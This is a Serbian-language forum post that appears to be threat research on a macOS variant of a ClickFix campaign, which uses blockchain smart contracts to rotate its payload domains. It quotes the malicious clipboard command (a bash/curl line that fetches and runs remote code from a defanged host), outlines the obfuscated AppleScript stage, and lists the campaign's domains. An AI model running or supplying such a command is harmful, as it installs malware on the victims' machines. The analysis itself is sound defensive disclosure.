[milos_rs]

Još jedno otkriće... na istom sajtu ako mu se pristupi sa Apple računara dobije se ClickFix prilagođen za tu platformu :

   

Ovde pita drugačiji BSC Testnet pametni ugovor za podatke : https://testnet.bscscan.com/address/0x68...dd1feb11a5

Takođe proverava IP adresu posetioca na isti pametni ugovor kao i ClickFix za Windos.

I ovaj pametni ugovor održava ista adresa kao i druga dva identifikovana pametna ugovora (jedan za windows i jedan za proveru IP adrese)

Komanda koju šalje u klipbord na MacOSu je :

Code:

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '8i3va94n.milliardbet[.]com/?ublib=27e2ba21-24e7-4832-9540-4cd692882f01')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282

Uspeo sam i da izvučem ovu prvu fazu koja se skida sa ovog gore URLa. Dobije se zamagljeni AppleScript koji:

1. Šalje upit na Polygon blokčejn pametni ugovor sa adresom https://polygonscan.com/address/0xA3a603...8F7C15C2A0
   
2. Dobije nazad domen skriven u pametnom ugovoru (u ovom trenutku apdhlhs3.xyz)
   
3. Dalje sa ovog domena preuzima dodatni AppleScript koji pokreće
   

Trenutni domen je suspendovan pa nisam mogao dalje da idem. 7 dana nije ažuriran domen na pametnom ugovoru, moguće je da je završena deo kampanje za MacOS ili imaju neke probleme, pratiću ako postave novi domen.

Domeni postavljeni na ovaj pametni ugovor: 

Code:

apdhlhs3.xyz johncon.my bduwih8.pro sj98xe4.xyz hf98x4d.site citcix6.xyz gesck4m.pro xuiaxwx.com